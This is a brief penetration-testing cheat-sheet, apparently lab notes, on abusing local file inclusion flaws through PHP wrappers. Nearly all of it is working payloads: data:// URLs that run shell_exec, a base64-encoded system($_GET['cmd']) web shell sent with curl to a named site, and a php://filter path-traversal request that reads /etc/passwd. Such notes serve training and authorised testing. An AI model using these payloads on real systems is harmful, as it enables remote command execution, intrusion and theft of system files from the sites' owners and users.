PHP Wrappers

PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion. These filters give us additional flexibility when attempting to inject PHP code via LFI vulnerabilities.

Identifying Vulnerability

http://192.168.112.132/menu.php?file=data:text/plain,helloworld

IF this payload return helloworld then we can use php wrappers to execute php commands too

Executing commands

http://192.168.112.132/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>

Base64 Version of Above

Convert to base64

echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==

Now use that base64 into the data filter and it has a cmd parameter to accept commands:

curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

php filter

Another PHP wrapper, php://filter in this example the output is encoded using base64, so you’ll need to decode the output.

http://192.168.155.131/fileincl/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd